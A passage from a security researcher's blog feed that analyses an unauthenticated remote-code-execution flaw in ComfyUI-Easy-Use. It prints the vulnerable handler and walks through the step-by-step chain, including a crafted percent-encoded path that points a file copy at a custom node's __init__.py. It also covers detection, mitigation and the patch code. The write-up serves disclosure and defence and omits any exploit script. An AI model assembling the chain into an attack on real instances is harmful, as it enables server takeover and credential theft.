<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Nguyễn Huy Hoàng / Red Team Notes</title>
  
  <subtitle>Security research notes, writeups, and fragments from the lab.</subtitle>
  <link href="https://blog.nhhoang.io.vn/atom.xml" rel="self"/>
  
  <link href="https://blog.nhhoang.io.vn/"/>
  <updated>2026-11-12T15:04:06.496Z</updated>
  <id>https://blog.nhhoang.io.vn/</id>
  
  <author>
    <name>Nguyễn Huy Hoàng</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>CVE-2026-123790: ComfyUI-Easy-Use Unauthenticated RCE via the Preview Save Route</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/11/cve-2026-123790-comfyui-easy-use-save-preview-rce/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/11/cve-2026-123790-comfyui-easy-use-save-preview-rce/</id>
    <published>2026-11-12T15:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.496Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Scope and safety.</strong> This is the reporter’s own analysis of a vulnerability coordinated through CERT&#x2F;CC (VU#944667). It was published on 2026-11-12, the same day CERT&#x2F;CC published the vulnerability note and the CVE record. The maintainer had already committed a fix by then. This article explains the broken data flow, the fix, and how to detect and mitigate the issue. It deliberately leaves out the proof-of-concept script given to CERT&#x2F;CC, any payload, and any automated exploitation procedure. At the time of writing, the fix is on <code>main</code> but not in a tagged release, so many installs are still exposed.</p></blockquote><h2 id="Executive-summary"><a href="#Executive-summary" class="headerlink" title="Executive summary"></a>Executive summary</h2><p>CVE-2026-123790 affects <a href="https://github.com/yolain/ComfyUI-Easy-Use">ComfyUI-Easy-Use</a>. It is one of the most-installed ComfyUI custom-node packs, with about 2,800 GitHub stars. The vulnerable code is in all tagged releases up to and including <strong>v1.4.1</strong>.</p><p>The extension registers <code>POST /easyuse/save/&#123;name&#125;</code>. Its intended job is to copy a generated image next to a checkpoint or LoRA so the image becomes that model’s preview thumbnail. ComfyUI has no authentication, so any client that can reach the server can call this route. The handler, <code>save_preview()</code> in <code>py/routes.py</code>, has three defects that combine:</p><ol><li><strong>The containment check covers the folder, not the file.</strong> The handler checks <code>subfolder</code> against the base directory. It then joins the request’s <code>filename</code> onto that folder and never checks the result again. <code>os.path.join(base, &quot;/abs/path&quot;)</code> throws away <code>base</code> when the second part is absolute, so the attacker controls the <strong>copy source</strong> completely.</li><li><strong>The destination category is unrestricted.</strong> The text before the first <code>/</code> in <code>&#123;name&#125;</code> is passed straight to <code>folder_paths.get_full_path()</code> as a folder type. <code>custom_nodes</code> is a registered folder type in ComfyUI core. So the <strong>copy destination</strong> can be any existing file under an installed custom node, including its <code>__init__.py</code>.</li><li><strong>The destination takes the source file’s extension.</strong> The output path is <code>splitext(destination)[0] + splitext(source)[1]</code>. If the source is a <code>.py</code> file, the overwritten file is a <code>.py</code> file too.</li></ol><p>Together these let a network client overwrite an installed node’s <code>__init__.py</code> with Python of their choosing. That code runs the next time ComfyUI imports custom nodes. In affected versions, the same extension also exposed an unauthenticated <code>GET /easyuse/reboot</code> that called <code>os.execv</code> on demand, so the attacker did not need to wait for a restart.</p><p>The CVE record, published by CERT&#x2F;CC as CNA, classifies the bug as CWE-22 and gives no CVSS score. My own assessment, as submitted with the report, is <strong>CVSS 3.1 9.8 Critical</strong>, <code>AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</code>. The real-world condition is network reachability: ComfyUI binds to <code>127.0.0.1</code> by default. That covers every instance started with <code>--listen</code> and most hosted, Docker, RunPod, vast.ai and Colab images.</p><p>The point worth remembering is that <strong>this exact bug had already been fixed once</strong>. ComfyUI-Easy-Use’s <code>save_preview()</code> comes from the same handler in <a href="https://github.com/pythongosssss/ComfyUI-Custom-Scripts">pythongosssss&#x2F;ComfyUI-Custom-Scripts</a>. On 2024-12-15, that project moved the <code>commonpath</code> check from the folder to the joined file path (<a href="https://github.com/pythongosssss/ComfyUI-Custom-Scripts/commit/5aa7f01917be243c6118126e167a93261627c81a"><code>5aa7f01</code></a>). The fix never reached the copy.</p><p><strong>Evidence labels used below:</strong></p><ul><li><strong>Verified</strong>: shown by the published source at a named tag or commit, by the CERT&#x2F;CC case, or by testing against a local ComfyUI instance I control.</li><li><strong>Inferred</strong>: a deployment consequence derived from those facts. It is marked as inferred wherever it appears.</li></ul><h2 id="Key-facts"><a href="#Key-facts" class="headerlink" title="Key facts"></a>Key facts</h2><table><thead><tr><th>Item</th><th>Finding</th><th>Confidence</th></tr></thead><tbody><tr><td>Identifier</td><td>CVE-2026-123790</td><td>Verified</td></tr><tr><td>CERT&#x2F;CC case</td><td><a href="https://kb.cert.org/vuls/id/944667">VU#944667</a> (report VRF#26-08-CPVQN), published 2026-11-12</td><td>Verified</td></tr><tr><td>CNA</td><td>CERT&#x2F;CC (<code>certcc</code>); CVE published 2026-11-12</td><td>Verified</td></tr><tr><td>Product</td><td>ComfyUI-Easy-Use (<code>yolain/ComfyUI-Easy-Use</code>)</td><td>Verified</td></tr><tr><td>Affected versions</td><td>The CVE record lists 1.3.6, the version I reported. The same handler is unchanged in v1.4.0 and v1.4.1, so every tag through v1.4.1 is affected. The earliest affected version was not established</td><td>Verified</td></tr><tr><td>Fix</td><td>Commit <a href="https://github.com/yolain/ComfyUI-Easy-Use/commit/8a0f2fc412c1c6f9109e9392064800a87a706775"><code>8a0f2fc412</code></a> on <code>main</code>, 2026-09-29</td><td>Verified</td></tr><tr><td>Fixed release</td><td>None tagged at time of writing; <code>v1.4.1</code> (2026-09-04) predates the fix</td><td>Verified</td></tr><tr><td>Vendor status in VU#944667</td><td>“Unknown”; CERT&#x2F;CC received no vendor statement</td><td>Verified</td></tr><tr><td>Vulnerable component</td><td><code>save_preview()</code> in <code>py/routes.py</code>, route <code>POST /easyuse/save/&#123;name&#125;</code></td><td>Verified</td></tr><tr><td>Weaknesses</td><td>CWE-22 in the CVE record; CWE-73 and CWE-306 also fit the defect (my classification)</td><td>Verified &#x2F; Inferred</td></tr><tr><td>Authentication</td><td>None. ComfyUI core has no auth, and the route adds none</td><td>Verified</td></tr><tr><td>Copy source</td><td>Attacker-chosen absolute path via <code>filename</code></td><td>Verified</td></tr><tr><td>Copy destination</td><td>Any existing file under any registered folder type, including <code>custom_nodes</code></td><td>Verified</td></tr><tr><td>Execution trigger</td><td>Next custom-node import; on demand via <code>GET /easyuse/reboot</code> in affected versions</td><td>Verified</td></tr><tr><td>Browser CSRF</td><td>Blocked by ComfyUI core’s <code>origin_only_middleware</code> for <code>Sec-Fetch-Site: cross-site</code></td><td>Verified</td></tr><tr><td>Precondition</td><td>Network reach to ComfyUI (<code>--listen</code> or a hosted image)</td><td>Verified</td></tr><tr><td>CVSS 3.1</td><td>None in the CVE record; 9.8 Critical as assessed by the reporter</td><td>Verified</td></tr><tr><td>Discovery method</td><td>Static audit of the most-installed registry nodes, then local validation</td><td>Verified</td></tr></tbody></table><h2 id="Attack-surface-and-trust-boundary"><a href="#Attack-surface-and-trust-boundary" class="headerlink" title="Attack surface and trust boundary"></a>Attack surface and trust boundary</h2><p>ComfyUI is a local-first application, and its defaults show that. There are no users, no sessions and no API keys. Every HTTP route, whether core or registered by a custom node, is reachable by anyone who can open a TCP connection to it. The default bind address is loopback. The only security boundary in the default setup is the network.</p><p>In practice, that boundary is often removed on purpose. ComfyUI needs a GPU, and many users rent one, so they run it in a container on a cloud host with <code>--listen 0.0.0.0</code> and reach it through a public port, a tunnel or a notebook proxy. Most one-click templates for hosted GPU services do this by default. <strong>Inferred:</strong> a large share of ComfyUI instances on the internet are reachable with no credentials at all, and fingerprinting them is easy.</p><p>Every custom node loads into that same unauthenticated process and registers routes on the same <code>PromptServer</code>. So <strong>a custom node’s HTTP routes are part of the server’s unauthenticated attack surface</strong>, whether or not the author had that in mind. <code>save_preview()</code> was written as a helper for the extension’s own front end. Nothing in the code suggests it expected to receive requests from anyone else.</p><h2 id="Root-cause-analysis"><a href="#Root-cause-analysis" class="headerlink" title="Root-cause analysis"></a>Root-cause analysis</h2><p>The vulnerable handler at <code>v1.4.1</code> (<code>py/routes.py</code>, lines 260–285), with numbered annotations added:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PromptServer.instance.routes.post(<span class="params"><span class="string">&quot;/easyuse/save/&#123;name&#125;&quot;</span></span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">save_preview</span>(<span class="params">request</span>):</span><br><span class="line">    name = request.match_info[<span class="string">&quot;name&quot;</span>]</span><br><span class="line">    pos = name.index(<span class="string">&quot;/&quot;</span>)</span><br><span class="line">    <span class="built_in">type</span> = name[<span class="number">0</span>:pos]                     <span class="comment"># (A) folder type, from the URL</span></span><br><span class="line">    name = name[pos+<span class="number">1</span>:]</span><br><span class="line"></span><br><span class="line">    body = <span class="keyword">await</span> request.json()</span><br><span class="line"></span><br><span class="line">    <span class="built_in">dir</span> = folder_paths.get_directory_by_type(body.get(<span class="string">&quot;type&quot;</span>, <span class="string">&quot;output&quot;</span>))</span><br><span class="line">    subfolder = body.get(<span class="string">&quot;subfolder&quot;</span>, <span class="string">&quot;&quot;</span>)</span><br><span class="line">    full_output_folder = os.path.join(<span class="built_in">dir</span>, os.path.normpath(subfolder))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> os.path.commonpath((<span class="built_in">dir</span>, os.path.abspath(full_output_folder))) != <span class="built_in">dir</span>:   <span class="comment"># (1)</span></span><br><span class="line">        <span class="keyword">return</span> web.Response(status=<span class="number">400</span>)</span><br><span class="line"></span><br><span class="line">    filepath = os.path.join(full_output_folder, body.get(<span class="string">&quot;filename&quot;</span>, <span class="string">&quot;&quot;</span>))       <span class="comment"># (2)</span></span><br><span class="line">    image_path = folder_paths.get_full_path(<span class="built_in">type</span>, name)                          <span class="comment"># (3)</span></span><br><span class="line">    image_path = os.path.splitext(</span><br><span class="line">        image_path)[<span class="number">0</span>] + os.path.splitext(filepath)[<span class="number">1</span>]                           <span class="comment"># (4)</span></span><br><span class="line"></span><br><span class="line">    shutil.copyfile(filepath, image_path)                                        <span class="comment"># (5)</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> web.json_response(&#123;</span><br><span class="line">        <span class="string">&quot;image&quot;</span>:  <span class="built_in">type</span> + <span class="string">&quot;/&quot;</span> + os.path.basename(image_path)</span><br><span class="line">    &#125;)</span><br></pre></td></tr></table></figure><h3 id="The-guard-that-exists"><a href="#The-guard-that-exists" class="headerlink" title="The guard that exists"></a>The guard that exists</h3><p>Line (1) is a real containment check, and it works for what it tests. A <code>subfolder</code> of <code>../../etc</code> fails it. The problem is what it tests. It runs on <code>full_output_folder</code>, the directory, before the filename is added. Line (2) then joins <code>body[&quot;filename&quot;]</code> onto that directory, and nothing checks the result.</p><p><code>os.path.join</code> adds no protection here. Python’s documentation says that if a later part is absolute, all earlier parts are discarded. So a <code>filename</code> of <code>/anything/at/all</code> produces <code>filepath == &quot;/anything/at/all&quot;</code>, and the check at (1) has already passed. A relative <code>../</code> sequence in <code>filename</code> escapes the same way.</p><p>This is the whole difference between Easy-Use and the upstream code it was copied from. The Custom-Scripts fix is three lines: compute <code>filepath</code> first, then run the same <code>commonpath</code> check on it.</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="deletion">-    if os.path.commonpath((dir, os.path.abspath(full_output_folder))) != dir:</span></span><br><span class="line"><span class="addition">+    filepath = os.path.join(full_output_folder, body.get(&quot;filename&quot;, &quot;&quot;))</span></span><br><span class="line"><span class="addition">+</span></span><br><span class="line"><span class="addition">+    if os.path.commonpath((dir, os.path.abspath(filepath))) != dir:</span></span><br><span class="line">         return web.Response(status=400)</span><br><span class="line"></span><br><span class="line"><span class="deletion">-    filepath = os.path.join(full_output_folder, body.get(&quot;filename&quot;, &quot;&quot;))</span></span><br></pre></td></tr></table></figure><h3 id="The-destination-nobody-checked"><a href="#The-destination-nobody-checked" class="headerlink" title="The destination nobody checked"></a>The destination nobody checked</h3><p>Even with the upstream fix applied, line (3) is a separate problem, and the Custom-Scripts patch does not address it. <code>type</code> comes from the URL path, and <code>get_full_path(type, name)</code> resolves <code>name</code> inside whatever folder ComfyUI has registered under <code>type</code>. The handler expects <code>checkpoints</code> or <code>loras</code>, but it never enforces that.</p><p>ComfyUI’s <code>folder_paths.py</code> registers <code>custom_nodes</code> as a folder type, next to the model folders. <code>get_full_path()</code> returns a path only if the file already exists, which makes this an <strong>overwrite</strong> primitive rather than an arbitrary-create primitive. That limit does not help: every installed node has an <code>__init__.py</code>, and ComfyUI-Easy-Use itself is always installed when this route is present.</p><p>Getting a <code>/</code> into a single <code>&#123;name&#125;</code> path segment depends on aiohttp’s routing. The default <code>&#123;name&#125;</code> pattern does not match a literal <code>/</code>, but a percent-encoded <code>%2F</code> matches the segment and is decoded before it reaches <code>match_info</code>. I verified this on aiohttp 3.11.8, ComfyUI’s minimum, and on 3.14.3. In the handler, <code>name</code> then contains a real <code>/</code>, and <code>index(&quot;/&quot;)</code> splits it into a folder type and a relative file name.</p><h3 id="The-extension-follows-the-source"><a href="#The-extension-follows-the-source" class="headerlink" title="The extension follows the source"></a>The extension follows the source</h3><p>Line (4) rebuilds the destination path from the destination’s stem and the <strong>source’s</strong> extension. For the intended use, this is sensible: a <code>.webp</code> preview next to <code>model.safetensors</code> becomes <code>model.webp</code>. For an attacker, it means the destination’s extension is also under their control. A <code>.py</code> source written over <code>&lt;node&gt;/__init__</code> produces <code>&lt;node&gt;/__init__.py</code>, which is executable Python that ComfyUI imports by design.</p><h3 id="Where-the-source-comes-from"><a href="#Where-the-source-comes-from" class="headerlink" title="Where the source comes from"></a>Where the source comes from</h3><p>The handler copies a file that already exists, so the attacker needs a file on disk containing their code. ComfyUI core supplies one: <code>POST /upload/image</code> is also unauthenticated and writes the uploaded bytes under the original filename into <code>input/</code>, without checking content or extension. I treat that as platform behaviour rather than part of this CVE, because an upload directory existing is not a vulnerability. The defects that turn it into code execution are (1)–(4) above, and they are in the extension.</p><h3 id="The-data-flow-end-to-end"><a href="#The-data-flow-end-to-end" class="headerlink" title="The data flow, end to end"></a>The data flow, end to end</h3><table><thead><tr><th>Step</th><th>Request-controlled value</th><th>What the handler does with it</th><th>Result</th></tr></thead><tbody><tr><td>URL</td><td><code>&#123;name&#125;</code> &#x3D; <code>custom_nodes%2F&lt;node&gt;%2F__init__.py</code></td><td>split at first <code>/</code> into <code>type</code>, <code>name</code></td><td><code>type=&quot;custom_nodes&quot;</code></td></tr><tr><td>Body</td><td><code>type</code>, <code>subfolder</code></td><td>choose base dir, check folder</td><td>check passes</td></tr><tr><td>Body</td><td><code>filename</code></td><td>joined <strong>after</strong> the check</td><td>source &#x3D; attacker file</td></tr><tr><td>(3)</td><td><code>type</code>, <code>name</code></td><td><code>get_full_path(&quot;custom_nodes&quot;, &quot;&lt;node&gt;/__init__.py&quot;)</code></td><td>destination &#x3D; node entry point</td></tr><tr><td>(4)</td><td>source extension</td><td>appended to destination stem</td><td><code>.py</code></td></tr><tr><td>(5)</td><td>—</td><td><code>shutil.copyfile(source, destination)</code></td><td>entry point overwritten</td></tr></tbody></table><p>The server replies <code>200</code> with a JSON body naming the “image” it saved.</p><h3 id="Turning-a-write-into-execution"><a href="#Turning-a-write-into-execution" class="headerlink" title="Turning a write into execution"></a>Turning a write into execution</h3><p>An overwritten <code>__init__.py</code> does nothing until it is imported. In affected versions, the extension supplied that step too:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PromptServer.instance.routes.get(<span class="params"><span class="string">&quot;/easyuse/reboot&quot;</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">reboot</span>(<span class="params">request</span>):</span><br><span class="line">    ...</span><br><span class="line">    <span class="keyword">return</span> os.execv(sys.executable, [sys.executable] + sys.argv)</span><br></pre></td></tr></table></figure><p><code>os.execv</code> replaces the process image with a new ComfyUI. The new process imports every custom node at startup, including the overwritten one. Without this route, the payload still runs on the next ordinary restart. <strong>Inferred:</strong> hosted instances are restarted often (preemption, crashes, model swaps), so that wait would not be long.</p><h2 id="Impact"><a href="#Impact" class="headerlink" title="Impact"></a>Impact</h2><h3 id="Verified"><a href="#Verified" class="headerlink" title="Verified"></a>Verified</h3><ul><li>An unauthenticated network client can overwrite any existing file that ComfyUI’s folder registry can resolve, including any installed custom node’s <code>__init__.py</code>.</li><li>The overwritten file runs as Python inside the ComfyUI process, with that process’s privileges, on the next custom-node import, and immediately in affected versions via <code>/easyuse/reboot</code>.</li><li>No user interaction is needed. I confirmed the full chain against a local ComfyUI instance with a marker-file payload.</li></ul><h3 id="Deployment-dependent-consequences-Inferred"><a href="#Deployment-dependent-consequences-Inferred" class="headerlink" title="Deployment-dependent consequences (Inferred)"></a>Deployment-dependent consequences (Inferred)</h3><ul><li><strong>Data:</strong> read and write access to models, LoRAs, inputs, outputs and saved workflows, plus any API keys in the environment. Hosted images often carry tokens for Civitai, Hugging Face, OpenAI-compatible endpoints or cloud storage.</li><li><strong>Host:</strong> many container images run ComfyUI as root, often with the GPU passed through. That makes cryptomining the obvious low-effort abuse, and the host a foothold for anything else.</li><li><strong>Persistence:</strong> the payload sits in a custom node’s entry point. It survives restarts and looks like part of an installed extension.</li></ul><h3 id="What-bounds-the-severity"><a href="#What-bounds-the-severity" class="headerlink" title="What bounds the severity"></a>What bounds the severity</h3><ul><li><strong>Network reachability is the only real precondition.</strong> A ComfyUI instance on loopback with no other exposure is not reachable by this route.</li><li><strong>A drive-by from a browser is blocked.</strong> ComfyUI core’s <code>origin_only_middleware</code> returns 403 for requests carrying <code>Sec-Fetch-Site: cross-site</code>, so a malicious web page cannot fire this at <code>localhost</code>. The vector is a direct, non-browser client.</li><li><strong>The write is an overwrite.</strong> The target must already exist. Every install has suitable targets, so this limits the technique, not the outcome.</li></ul><h2 id="Safe-validation-and-detection"><a href="#Safe-validation-and-detection" class="headerlink" title="Safe validation and detection"></a>Safe validation and detection</h2><h3 id="Version-and-code-check-the-fast-answer"><a href="#Version-and-code-check-the-fast-answer" class="headerlink" title="Version and code check (the fast answer)"></a>Version and code check (the fast answer)</h3><p>Look at <code>custom_nodes/ComfyUI-Easy-Use/py/routes.py</code>. If <code>save_preview()</code> contains <code>pos = name.index(&quot;/&quot;)</code> and runs its <code>commonpath</code> check before <code>filepath</code> is assigned, the install is vulnerable. If it contains <code>model_type not in (&quot;checkpoints&quot;, &quot;loras&quot;)</code>, it has the fix. A <code>version = &quot;1.4.1&quot;</code> in <code>pyproject.toml</code> does <strong>not</strong> mean you are fixed, because the fix landed after that tag without a version bump.</p><h3 id="Exposure-check"><a href="#Exposure-check" class="headerlink" title="Exposure check"></a>Exposure check</h3><p>Check whether ComfyUI is listening on anything other than loopback (<code>ss -ltnp | grep 8188</code>, the container’s published ports, any tunnel or notebook proxy in front of it). If it is, and the code above is the vulnerable version, assume the instance has been reachable for as long as it has been running.</p><h3 id="Telemetry-and-integrity-worth-reviewing"><a href="#Telemetry-and-integrity-worth-reviewing" class="headerlink" title="Telemetry and integrity worth reviewing"></a>Telemetry and integrity worth reviewing</h3><ul><li>Access logs, at a reverse proxy if one exists, for <code>POST /easyuse/save/</code> where the path contains <code>custom_nodes</code>, or any path segment other than <code>checkpoints</code> or <code>loras</code>.</li><li><code>GET /easyuse/reboot</code> requests you did not trigger from the UI, especially shortly after a <code>POST /easyuse/save/</code>.</li><li><code>POST /upload/image</code> requests uploading files with non-image extensions.</li><li>Integrity of every <code>custom_nodes/*/__init__.py</code> against the upstream repository (<code>git -C custom_nodes/&lt;node&gt; status</code> &#x2F; <code>git diff</code>). Unexpected changes to an entry point are the clearest sign of compromise.</li><li><code>.py</code> files in ComfyUI’s <code>input/</code> directory.</li></ul><p>I am deliberately not publishing a scanner or exploit request. The code check above answers the question without sending anything to a live instance.</p><h2 id="Remediation-and-hardening"><a href="#Remediation-and-hardening" class="headerlink" title="Remediation and hardening"></a>Remediation and hardening</h2><h3 id="Required"><a href="#Required" class="headerlink" title="Required"></a>Required</h3><p>Update ComfyUI-Easy-Use to a build that includes commit <a href="https://github.com/yolain/ComfyUI-Easy-Use/commit/8a0f2fc412c1c6f9109e9392064800a87a706775"><code>8a0f2fc412</code></a>. At the time of writing that means tracking <code>main</code> (for example <code>git -C custom_nodes/ComfyUI-Easy-Use pull</code>, or the “nightly” channel in ComfyUI-Manager). The latest tagged release, v1.4.1, does <strong>not</strong> contain the fix. Restart ComfyUI afterwards.</p><p>VU#944667 says the maintainer could not be reached and recommends removing the extension or limiting network access to trusted users. That guidance is correct for any tagged release. The maintainer did commit a fix to <code>main</code> on 2026-09-29 without responding to the case, so tracking <code>main</code> is a third option.</p><h3 id="If-you-cannot-update-immediately"><a href="#If-you-cannot-update-immediately" class="headerlink" title="If you cannot update immediately"></a>If you cannot update immediately</h3><ul><li>Do not expose ComfyUI to untrusted networks. Remove <code>--listen</code>, or bind to loopback and reach the instance over SSH port forwarding or an authenticated VPN.</li><li>If it must be reachable, put an authenticating reverse proxy in front of it. At minimum, deny <code>/easyuse/save/</code> and <code>/easyuse/reboot</code> at the proxy.</li><li>If you do not use the extension, uninstall it.</li></ul><h3 id="If-the-instance-was-exposed"><a href="#If-the-instance-was-exposed" class="headerlink" title="If the instance was exposed"></a>If the instance was exposed</h3><p>Treat it as potentially compromised, not just as needing a patch. Check custom-node integrity as described above. Rotate any credentials present in the environment or on disk. Rebuild from a clean image rather than cleaning in place: a modified <code>__init__.py</code> is easy to spot, but whatever it installed after it ran may not be.</p><h2 id="What-the-patch-does"><a href="#What-the-patch-does" class="headerlink" title="What the patch does"></a>What the patch does</h2><p>Commit <code>8a0f2fc412</code> (“fix: harden model metadata and preview routes (#1045)”) rewrites <code>save_preview()</code> around what it is actually for:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">model_type, separator, model_name = name.partition(<span class="string">&quot;/&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> separator <span class="keyword">or</span> model_type <span class="keyword">not</span> <span class="keyword">in</span> (<span class="string">&quot;checkpoints&quot;</span>, <span class="string">&quot;loras&quot;</span>):</span><br><span class="line">    <span class="keyword">return</span> web.Response(status=<span class="number">400</span>)</span><br><span class="line"><span class="keyword">if</span> model_name <span class="keyword">not</span> <span class="keyword">in</span> folder_paths.get_filename_list(model_type):</span><br><span class="line">    <span class="keyword">return</span> web.Response(status=<span class="number">404</span>)</span><br><span class="line">...</span><br><span class="line"><span class="keyword">if</span> (body.get(<span class="string">&quot;type&quot;</span>) != <span class="string">&quot;temp&quot;</span> <span class="keyword">or</span> body.get(<span class="string">&quot;subfolder&quot;</span>, <span class="string">&quot;&quot;</span>) != <span class="string">&quot;&quot;</span></span><br><span class="line">        <span class="keyword">or</span> <span class="keyword">not</span> <span class="built_in">isinstance</span>(filename, <span class="built_in">str</span>) <span class="keyword">or</span> <span class="keyword">not</span> filename</span><br><span class="line">        <span class="keyword">or</span> os.path.basename(filename) != filename <span class="keyword">or</span> filename <span class="keyword">in</span> (<span class="string">&quot;.&quot;</span>, <span class="string">&quot;..&quot;</span>)):</span><br><span class="line">    <span class="keyword">return</span> web.Response(status=<span class="number">400</span>)</span><br><span class="line"></span><br><span class="line">extension = os.path.splitext(filename)[<span class="number">1</span>].lower()</span><br><span class="line"><span class="keyword">if</span> extension <span class="keyword">not</span> <span class="keyword">in</span> _PREVIEW_FORMATS:</span><br><span class="line">    <span class="keyword">return</span> web.Response(status=<span class="number">400</span>)</span><br></pre></td></tr></table></figure><p>Each of the three defects is closed at its own point:</p><ul><li><strong>Destination:</strong> <code>type</code> must be <code>checkpoints</code> or <code>loras</code>, and the model name must appear in ComfyUI’s own file list for that type. <code>custom_nodes</code> is no longer reachable.</li><li><strong>Source:</strong> it must come from <code>temp</code>, with no subfolder, as a bare filename (<code>basename(filename) == filename</code>). It is then checked again with <code>realpath</code>-based containment against the temp directory and must be a regular file. The check now runs on the final path, after the join.</li><li><strong>Extension:</strong> it must be one of <code>.png</code>, <code>.jpg</code>, <code>.jpeg</code>, <code>.webp</code>, <code>.gif</code>. The file is copied to a temp file next to the target, opened with Pillow, checked to be the format its extension claims, and only then moved into place with <code>os.replace</code>. The handler also refuses symlinked targets and targets outside the model’s own directory.</li></ul><p>This is a stronger fix than the upstream Custom-Scripts patch, which only moved the containment check. The commit adds <code>tests/test_routes_security.py</code>.</p><h3 id="A-note-on-the-reboot-route"><a href="#A-note-on-the-reboot-route" class="headerlink" title="A note on the reboot route"></a>A note on the reboot route</h3><p>The same commit changes <code>/easyuse/reboot</code> to <code>POST</code> and requires an <code>X-EasyUse-Reboot-Token</code> header. The token is served by <code>GET /easyuse/reboot-token</code>, and both are gated on a same-origin check. That closes the <strong>browser</strong> vector described in issue #1045. It does not stop a direct network client: a request without <code>Sec-Fetch-Site</code> and <code>Origin</code> headers passes <code>_same_origin_request()</code>, so a non-browser client can fetch the token and then use it. In this CVE’s threat model, the fix that matters is the <code>save_preview()</code> restriction. Without a write primitive, restarting the server achieves nothing. I don’t consider this a remaining vulnerability, because a client with direct network access to an unauthenticated ComfyUI already controls the server through core features like the queue. It is still worth being precise about which part of the patch does the work.</p><h2 id="Timeline"><a href="#Timeline" class="headerlink" title="Timeline"></a>Timeline</h2><table><thead><tr><th>Date (UTC)</th><th>Event</th><th>Source certainty</th></tr></thead><tbody><tr><td>2024-12-15</td><td>Upstream sibling fix in ComfyUI-Custom-Scripts (<code>5aa7f01</code>, “Fix filepath validation”)</td><td>Commit metadata</td></tr><tr><td>2026-08-28</td><td>Reported to CERT&#x2F;CC via VINCE (VRF#26-08-CPVQN); the maintainer has no security contact and private vulnerability reporting is disabled</td><td>VINCE case</td></tr><tr><td>2026-09-04</td><td>ComfyUI-Easy-Use v1.4.1 tagged, still vulnerable</td><td>Tag metadata</td></tr><tr><td>2026-09-22</td><td>CERT&#x2F;CC opens case VU#944667</td><td>VINCE case</td></tr><tr><td>2026-09-27</td><td>Public issue <a href="https://github.com/yolain/ComfyUI-Easy-Use/issues/1045">#1045</a> by <code>3em0</code> describes a stored-XSS chain that reaches the same save route and reboot route from the browser</td><td>Issue metadata</td></tr><tr><td>2026-09-29</td><td>Fix commits <code>8a0f2fc412</code> and <code>67afdc8204</code> land on <code>main</code></td><td>Commit metadata</td></tr><tr><td>2026-10-06</td><td>CERT&#x2F;CC notifies the maintainer</td><td>VU#944667</td></tr><tr><td>2026-11-06</td><td>CVE-2026-123790 reserved</td><td>CVE record metadata</td></tr><tr><td>2026-11-12 14:48</td><td>VU#944667 and CVE-2026-123790 published</td><td>CERT&#x2F;CC, CVE record</td></tr><tr><td>2026-11-12</td><td>This analysis published</td><td>This site</td></tr></tbody></table><p><strong>On #1045.</strong> Issue #1045 was filed publicly a month after my CERT&#x2F;CC report and two days before the fix. It reaches the same destination primitive (<code>get_full_path()</code> with an unrestricted <code>custom_nodes</code> type, and the source extension carried to the destination), triggered by script running in the victim’s own ComfyUI tab after a malicious model’s notes are rendered unescaped. As far as I can tell, the two findings were made independently. They are different entry points: #1045 needs a victim to open a model’s info dialog and is scored <code>AV:L/UI:R</code>, while this report is a direct, unauthenticated network request, and it also covers the copy-source ordering bug that #1045 does not depend on. The maintainer’s fix addresses both. Credit for the browser chain belongs to <code>3em0</code>.</p><h2 id="Lessons-for-builders"><a href="#Lessons-for-builders" class="headerlink" title="Lessons for builders"></a>Lessons for builders</h2><h3 id="When-you-copy-code-check-whether-its-fixes-followed"><a href="#When-you-copy-code-check-whether-its-fixes-followed" class="headerlink" title="When you copy code, check whether its fixes followed"></a>When you copy code, check whether its fixes followed</h3><p><code>save_preview()</code> was copied from ComfyUI-Custom-Scripts, and the bug was fixed there in December 2024. Easy-Use still shipped the pre-fix version through September 2026. If you vendor or fork a security-relevant function, record where it came from and watch the original for changes. One <code>git log -p</code> on the original file would have caught this. When I find a bug in derived code, I run the same check in reverse: diffing against the parent here took a few minutes and showed the bug was a fix that had never been ported.</p><h3 id="Check-the-final-path-after-the-last-join"><a href="#Check-the-final-path-after-the-last-join" class="headerlink" title="Check the final path, after the last join"></a>Check the final path, after the last join</h3><p>A containment check that runs before the last path component is added only tells you something about the directory. The rule is mechanical: compute the exact path you will pass to <code>open</code>, <code>copyfile</code> or <code>replace</code>, resolve it, and check that. Do nothing to the path afterwards. <code>os.path.join</code> with an absolute second argument, <code>..</code>, and symlinks 